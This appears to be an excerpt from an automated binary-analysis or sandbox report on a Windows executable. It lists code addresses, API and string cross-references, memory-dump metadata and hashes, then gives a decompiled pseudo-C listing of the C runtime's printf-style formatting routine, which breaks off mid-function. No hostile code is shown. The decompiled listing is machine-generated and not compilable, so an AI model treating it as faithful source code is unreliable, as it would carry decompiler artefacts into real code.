0x0042fca8
0x0042fd4d
0x0042fd53
0x0042fd59
0x0042fd60
0x00000000
0x00000000
0x0042fd66
0x0042fd6c
0x00000000
0x0042fd73
0x0042fd73
0x0042fd8b
0x0042fd90
0x0042fd93
0x0042fd95
0x0042fe4f
0x0042fe62
0x0042fe67
0x00000000
0x0042fd9b
0x0042fdae
0x0042fdb3
0x0042fdb9
0x0042fdbb
0x0042fdc4
0x0042fdc4
0x0042fdc7
0x0042fdd3
0x0042fdd7
0x0042fddd
0x0042fddf
0x0042fde4
0x0042fde6
0x0042fdeb
0x0042fdf0
0x0042fdf2
0x0042fdf7
0x0042fdfa
0x0042fdfd
0x0042fdff
0x0042fdff
0x0042fdfd
0x0042fe00
0x0042fe00
0x0042fe07
0x00000000
0x0042fe09
0x0042fe0e
0x0042fe2a
0x0042fe32
0x0042fe3f
0x0042fe44
0x00000000
0x0042fe44
0x0042fe07
0x00000000
0x0042fe6f
0x0042fe6f
0x0042fe76
0x0042fe79
0x0042fe7c
0x0042fe7f
0x0042fe82
0x0042fe85
0x0042fe88
0x0042fe8f
0x0042fe96
0x00000000
0x00000000
0x0042fea2
0x0042fea2
0x0042fea9
0x0042feb5
0x0042feb8
0x0042febe
0x0042fec5
0x00000000
0x00000000
0x0042fec7
0x0042fec7
0x0042fecd
0x0042fecd
0x0042fed4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ff17
0x0042ff17
0x0042ff1e
0x0042ff21
0x0042ff4b
0x0042ff4e
0x0042ff4e
0x0042ff51
0x0042ff58
0x0042ff58
0x0042ff5c
0x0042ff23
0x0042ff23
0x0042ff2f
0x0042ff32
0x0042ff36
0x0042ff38
0x0042ff3b
0x0042ff3b
0x0042ff3e
0x0042ff44
0x0042ff46
0x0042ff46
0x0042ff49
0x00000000
0x00000000
0x0042ff64
0x0042ff64
0x00000000
0x00000000
0x0042ff70
0x0042ff70
0x0042ff77
0x0042ff7a
0x0042ff9a
0x0042ff9d
0x0042ff9d
0x0042ffa7
0x0042ffa7
0x0042ffab
0x0042ff7c
0x0042ff7c
0x0042ff88
0x0042ff8b
0x0042ff8f
0x0042ff91
0x0042ff91
0x0042ff98
0x00000000
0x00000000
0x0042ffb3
0x0042ffb3
0x0042ffba
0x0042ffc6
0x0042ffc9
0x0042ffcf
0x0042ffd6
0x004300e9
0x00000000
0x004300e9
0x0042ffdc
0x0042ffdc
0x0042ffe2
0x0042ffe2
0x0042ffe9
0x00000000
0x0043001f
0x0043001f
0x00430022
0x00430025
0x00430028
0x00430050
0x00430050
0x00430053
0x00430056
0x00430059
0x0043007e
0x0043007e
0x00430081
0x00430084
0x00430087
0x004300c0
0x004300d1
0x00000000
0x004300d1
0x00430089
0x00430089
0x0043008c
0x0043008f
0x00430092
0x00000000
0x00000000
0x00430094
0x00430094
0x00430097
0x0043009a
0x0043009d
0x00000000
0x00000000
0x0043009f
0x0043009f
0x004300a2
0x004300a5
0x004300a8
0x00000000
0x00000000
0x004300aa
0x004300aa
0x004300ad
0x004300b0
0x004300b3
0x00000000
0x00000000
0x004300b5
0x004300b5
0x004300b8
0x004300bb
0x004300be
0x004300c2
0x00000000
0x004300c2
0x00000000
0x004300be
0x0043005b
0x0043005b
0x0043005e
0x00430062
0x00430065
0x00000000
0x00430067
0x0043006a
0x0043006d
0x00430070
0x00430073
0x00430079
0x00000000
0x00430079
0x00430065
0x0043002a
0x0043002a
0x0043002d
0x00430031
0x00430034
0x00000000
0x00430036
0x00430039
0x0043003c
0x0043003f
0x00430042
0x00430048
0x00000000
0x00430048
0x00000000
0x004300d3
0x004300d6
0x004300d9
0x00000000
0x00000000
0x0042fff0
0x0042fff0
0x0042fff3
0x0042fff6
0x0042fff9
0x00430011
0x00430014
0x00430014
0x00430017
0x0042fffb
0x0042fffe
0x00430001
0x00430007
0x0043000c
0x0043000c
0x00000000
0x00000000
0x004300de
0x004300de
0x004300e1
0x004300e1
0x004300e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004300ee
0x004300ee
0x004300f5
0x00430101
0x00430104
0x0043010a
0x00430111
0x00000000
0x0043092c
0x0043092c
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x004308e6
0x004308e9
0x004308ec
0x004308ef
0x004308f2
0x004308f5
0x004308fb
0x004308fb
0x004308fb
0x00430903
0x00430907
0x00000000
0x00000000
0x00430909
0x00430909
0x0043090c
0x0043090f
0x0043090f
0x00430914
0x00430917
0x0043091a
0x0043091d
0x00430920
0x00430923
0x00430926
0x00430926
0x00430929
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x00430117
0x0043011d
0x0043011d
0x00430124
0x00000000
0x0043047e
0x0043047e
0x00430485
0x0043048c
0x0043048c
0x0043048f
0x00000000
0x00000000
0x0043012b
0x0043012e
0x0043012e
0x00430134
0x00430136
0x00430139
0x00430139
0x0043013e
0x0043013e
0x00000000
0x00000000
0x0043026b
0x0043026e
0x0043026e
0x00430273
0x00430275
0x00430278
0x00430278
0x0043027e
0x0043027e
0x00000000
0x00000000
0x00430645
0x00430645
0x00000000
0x00000000
0x004301d5
0x004301d5
0x004301e1
0x004301e7
0x004301ee
0x004301fc
0x004301fc
0x00430202
0x00430205
0x00430211
0x00430266
0x00000000
0x00430266
0x004301f0
0x004301f0
0x004301f6
0x004301fa
0x00430216
0x00430219
0x00430219
0x0043021f
0x00430247
0x0043024e
0x00430254
0x00430257
0x0043025a
0x00430260
0x00430263
0x00430221
0x00430221
0x00430227
0x0043022a
0x0043022d
0x00430233
0x00430236
0x00430239
0x0043023b
0x0043023e
0x0043023e
0x00000000
0x0043021f
0x00000000
0x00000000
0x00430495
0x00430498
0x0043049b
0x0043049e
0x004304a4
0x004304a7
0x004304ae
0x004304b2
0x004304bd
0x004304bd
0x004304c1
0x004304d8
0x004304d8
0x004304df
0x004304e1
0x004304e1
0x004304e8
0x004304e8
0x004304ef
0x00430500
0x0043050f
0x00430512
0x00430516
0x0043052c
0x00430518
0x00430518
0x0043051b
0x00430521
0x00430527
0x00430527
0x00430516
0x00430536
0x00430539
0x0043053c
0x0043053f
0x00430542
0x00430545
0x0043054b
0x00430551
0x00430559
0x0043055a
0x0043055d
0x0043055e
0x00430561
0x00430562
0x00430569
0x0043056a
0x0043056d
0x0043056e
0x00430571
0x00430572
0x00430578
0x00430579
0x0043057e
0x0043057f
0x00430585
0x00430587
0x0043058d
0x0043058d
0x00430593
0x00430595
0x00430599
0x0043059b
0x004305a3
0x004305a4
0x004305a7
0x004305a8
0x004305ad
0x004305ae
0x004305b4
0x004305b6
0x004305b6
0x00430599
0x004305b9
0x004305c0
0x004305c3
0x004305c8
0x004305c8
0x004305ce
0x004305d0
0x004305d8
0x004305d9
0x004305dc
0x004305dd
0x004305e3
0x004305e4
0x004305ea
0x004305ec
0x004305ec
0x004305ce
0x004305ef
0x004305f2
0x004305f5
0x004305f8
0x004305fd
0x00430603
0x00430606
0x00430609
0x00430609
0x0043060c
0x0043060c
0x0043060f
0x0043061b
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x0043092c
0x004304c3
0x004304c3
0x004304ca
0x004304cd
0x00000000
0x00000000
0x004304cf
0x004304cf
0x00000000
0x004304cf
0x004304b4
0x004304b4
0x00000000
0x00000000
0x00430141
0x00430144
0x00430144
0x0043014a
0x004301a5
0x004301ad
0x004301b4
0x004301ba
0x004301c0
0x0043014c
0x0043014c
0x00430156
0x0043015a
0x00430162
0x00430169
0x00430176
0x0043017d
0x00430189
0x0043018f
0x00430196
0x00430198
0x00430198
0x0043019f
0x004301c7
0x004301cd
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x00430623
0x00430626
0x00430629
0x0043062c
0x00000000
0x00000000
0x00000000
0x00000000
0x00430686
0x00430686
0x00430690
0x00430690
0x00430696
0x00430698
0x0043069b
0x0043069b
0x004306a1
0x004306a1
0x00000000
0x00000000
0x0043063e
0x0043063e
0x00000000
0x00000000
0x00430281
0x00430281
0x00430285
0x00430293
0x00430296
0x00430287
0x00430287
0x00430287
0x0043029c
0x004302a2
0x004302a8
0x004302b4
0x004302ba
0x004302ba
0x004302c0
0x00430327
0x00430327
0x0043032b
0x0043032d
0x00430333
0x00430333
0x00430336
0x00430339
0x0043033f
0x0043033f
0x0043033f
0x0043034b
0x0043034e
0x00430354
0x00430356
0x00000000
0x00000000
0x00430358
0x00430358
0x0043035e
0x00430361
0x00430363
0x00000000
0x00000000
0x00430365
0x0043036b
0x0043036e
0x0043036e
0x00430376
0x00430376
0x0043037c
0x0043037c
0x0043037f
0x00000000
0x004302c2
0x004302c2
0x004302c2
0x004302c6
0x004302c8
0x004302cd
0x004302cd
0x004302d0
0x004302d7
0x004302da
0x004302e0
0x004302e0
0x004302e0
0x004302ec
0x004302ef
0x004302f5
0x004302f7
0x00000000
0x00000000
0x004302f9
0x004302f9
0x004302ff
0x00430302
0x00430304
0x00000000
0x00000000
0x00430306
0x0043030c
0x0043030f
0x0043030f
0x00430317
0x0043031d
0x00430320
0x00430322
0x00430382
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x00000000
0x00430635
0x00430635
0x00000000
0x00000000
0x00430651
0x00430651
0x0043065b
0x0043065b
0x00430665
0x00430665
0x0043066b
0x0043066d
0x00430677
0x00430677
0x0043067a
0x0043067d
0x0043067d
0x004306a4
0x004306a7
0x004306a7
0x004306ac
0x004306ce
0x004306ce
0x004306d4
0x004306f6
0x004306f6
0x004306f9
0x00430740
0x00430740
0x00430743
0x00430760
0x00430764
0x0043076c
0x0043076c
0x0043076e
0x00430774
0x00430745
0x00430745
0x00430749
0x00430751
0x00430752
0x00430758
0x00430758
0x004306fb
0x004306fe
0x004306fe
0x00430701
0x0043071f
0x0043072b
0x0043072e
0x0043072f
0x00430735
0x00430703
0x00430703
0x00430707
0x0043070f
0x00430710
0x00430711
0x00430717
0x00430717
0x0043073b
0x004306d6
0x004306d6
0x004306e2
0x004306e8
0x004306e8
0x004306ae
0x004306ae
0x004306ba
0x004306c0
0x004306c0
0x0043077d
0x0043077d
0x00430780
0x004307c2
0x004307c2
0x004307c8
0x004307ce
0x004307d4
0x00000000
0x00430782
0x00430782
0x00430782
0x00430789
0x00000000
0x00000000
0x0043078b
0x0043078b
0x00430796
0x0043079c
0x0043079e
0x004307a4
0x004307a7
0x004307a9
0x004307af
0x004307b8
0x004307bd
0x004307da
0x004307dd
0x004307dd
0x004307e2
0x004307e7
0x004307e7
0x004307ed
0x004307ef
0x004307f5
0x004307fb
0x004307fb
0x00430804
0x00430804
0x004307ed
0x0043080a
0x0043080e
0x0043081c
0x0043081f
0x00430822
0x00430829
0x0043082b
0x0043082b
0x00430810
0x00430810
0x00430810
0x00430838
0x00430838
0x0043083e
0x00430840
0x00430840
0x00430847
0x0043084a
0x0043084d
0x0043084d
0x0043084d
0x00430853
0x00430856
0x00430859
0x0043085b
0x00000000
0x00000000
0x0043085d
0x00430863
0x00430863
0x00430869
0x00000000
0x00000000
0x0043086b
0x0043086b
0x0043086e
0x00430871
0x00430878
0x0043087f
0x00430887
0x0043088d
0x00430890
0x00430893
0x0043089a
0x004308a6
0x004308ac
0x004308b2
0x004308b9
0x004308bb
0x004308c1
0x004308c1
0x004308c7
0x004308c7
0x004308cd
0x004308d0
0x004308d6
0x004308db
0x004308de
0x0043084d
0x0043084d
0x00430853
0x00430856
0x00430859
0x0043085b
0x00000000
0x00000000
0x00000000
0x0043085b
0x0043084d
0x0043078d
0x0043078d
0x00430794
0x00000000
0x00000000
0x00000000
0x00430794
0x00000000
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x00000000
0x0042fef1
0x0042fef4
0x0042fef7
0x00000000
0x00000000
0x0042fefc
0x0042feff
0x0042ff04
0x00000000
0x00000000
0x0042fee6
0x0042fee6
0x0042fee9
0x0042feec
0x00000000
0x00000000
0x0042fedb
0x0042fede
0x0042fee1
0x00000000
0x00000000
0x0042ff09
0x0042ff09
0x0042ff0c
0x0042ff0c
0x0042ff0f
0x00000000
0x00000000
0x0042ff12
0x00000000
0x00000000
0x0042fcae
0x0042fcb0
0x0042fcbe
0x0042fcb2
0x0042fcb2
0x0042fcb2
0x0042fcc8
0x0042fcce
0x0042fcdb
0x0042fcdd
0x0042fce2
0x0042fce4
0x0042fce9
0x0042fcee
0x0042fcf0
0x0042fcf5
0x0042fcfb
0x0042fcfd
0x0042fcfd
0x0042fcfb
0x0042fcfe
0x0042fd05
0x00000000
0x0042fd07
0x0042fd0c
0x0042fd28
0x0042fd30
0x0042fd3d
0x0042fd42
0x00000000
0x0042fd42
0x0042fd05
0x0042fca8
0x00430b37
0x00430b37
0x00430b3e
0x00430b55
0x00430b55
0x00430b5f
0x00430b5f
0x00430b65
0x00430b6b
0x00430b72
0x00430b74
0x00430b79
0x00430b7b
0x00430b80
0x00430b85
0x00430b87
0x00430b8c
0x00430b8f
0x00430b92
0x00430b94
0x00430b94
0x00430b92
0x00430b95
0x00430b9c
0x00430be7
0x00430bf0
0x00430bf5
0x00430b9e
0x00430ba3
0x00430bbf
0x00430bc7
0x00430bd4
0x00430bd9
0x00430bd9
0x00000000
0x00430b9c
0x00430b40
0x00430b40
0x00430b47
0x00000000
0x00000000
0x00430b49
0x00430b49
0x00000000
0x00430b49
0x004303ff
0x004303ff
0x00430404
0x00430420
0x00430428
0x00430432
0x00430435
0x0043043a
0x00430bfb
0x00430c08
0x00430c08
0x0043044a
0x0043044d
0x00430450
0x00430470
0x00430452
0x0043045f
0x0043045f
0x00430472
0x00000000
0x00430472

APIs

_get_int_arg.LIBCMTD ref: 0043038B
__get_printf_count_output.LIBCMTD ref: 00430399
__invalid_parameter.LIBCMTD ref: 00430420
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00430435
_write_multi_char.LIBCMTD ref: 004309A8
_write_string.LIBCMTD ref: 004309C3
_write_multi_char.LIBCMTD ref: 004309EF
_wctomb_s.LIBCMTD ref: 00430A6C

Strings

_output_s_l, xrefs: 0042FD1E, 00430416
("Incorrect format specifier", 0), xrefs: 0042FCDD, 0042FD23
-, xrefs: 00430948
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0042FCE9, 0042FD19, 004303E1, 00430411
("'n' format specifier disabled", 0), xrefs: 004303D5, 0043041B

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 397a2c3322fe24978c9a542ece1f8bdea87866d7adc7a8aca620d3ab30dfb2c8
Instruction ID: 311698f74126ca9840979ef63543d4806489532ab42bdb19c3ed01264b97deca
Opcode Fuzzy Hash: 397a2c3322fe24978c9a542ece1f8bdea87866d7adc7a8aca620d3ab30dfb2c8
Instruction Fuzzy Hash: E7A16FB0E012298BDF24DB55CC59BEEB7B0EB48304F1492DAE5196A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043172A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043172A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E0042BCB0(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00432210() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					__eflags = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					__eflags =  *(__ebp - 0x488);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041AAF0();
						__esp = __esp + 0x14;
						__eflags = __eax - 1;
						if(__eax == 1) {
							asm("int3");
						}
					}
					__eflags =  *(__ebp - 0x488);
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							__eflags =  *(_t600 - 0x28);
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							__eflags =  *(_t600 - 0x10) & 0x00000040;
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								__eflags =  *(_t600 - 0x10) & 0x00000100;
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									__eflags =  *(_t600 - 0x10) & 0x00000001;
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										__eflags =  *(_t600 - 0x10) & 0x00000002;
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							__eflags =  *(_t600 - 0x10) & 0x0000000c;
							if(__eflags == 0) {
								E00432110(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E00432150( *(_t600 - 0x1c), __eflags, _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							__eflags =  *(_t600 - 0x10) & 0x00000008;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								__eflags =  *(_t600 - 0x10) & 0x00000004;
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E00432110(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							__eflags =  *(_t600 - 0xc);
							if(__eflags != 0) {
								L208:
								E00432150( *(_t600 - 0x24), __eflags,  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								__eflags =  *(_t600 - 0x24);
								if(__eflags <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									__eflags =  *(_t600 - 0x4b4);
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041B2D0(_t600 - 0x40);
									_t523 = E00425270(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									__eflags =  *(_t600 - 0x4b8);
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E004320B0( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								__eflags =  *(_t600 - 0x44c);
								if( *(_t600 - 0x44c) >= 0) {
									__eflags =  *(_t600 - 0x10) & 0x00000004;
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E00432110(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							__eflags =  *(_t600 - 0x20);
							if( *(_t600 - 0x20) != 0) {
								L0041DD40( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M004077B8) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x4077d8) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x4077d8) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									__eflags =  *(_t600 - 0x4e0) - 7;
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M00431FAC))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E004320B0( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x431fe4; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00431FCC))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43200c; // 0x18219003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00431FF8))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
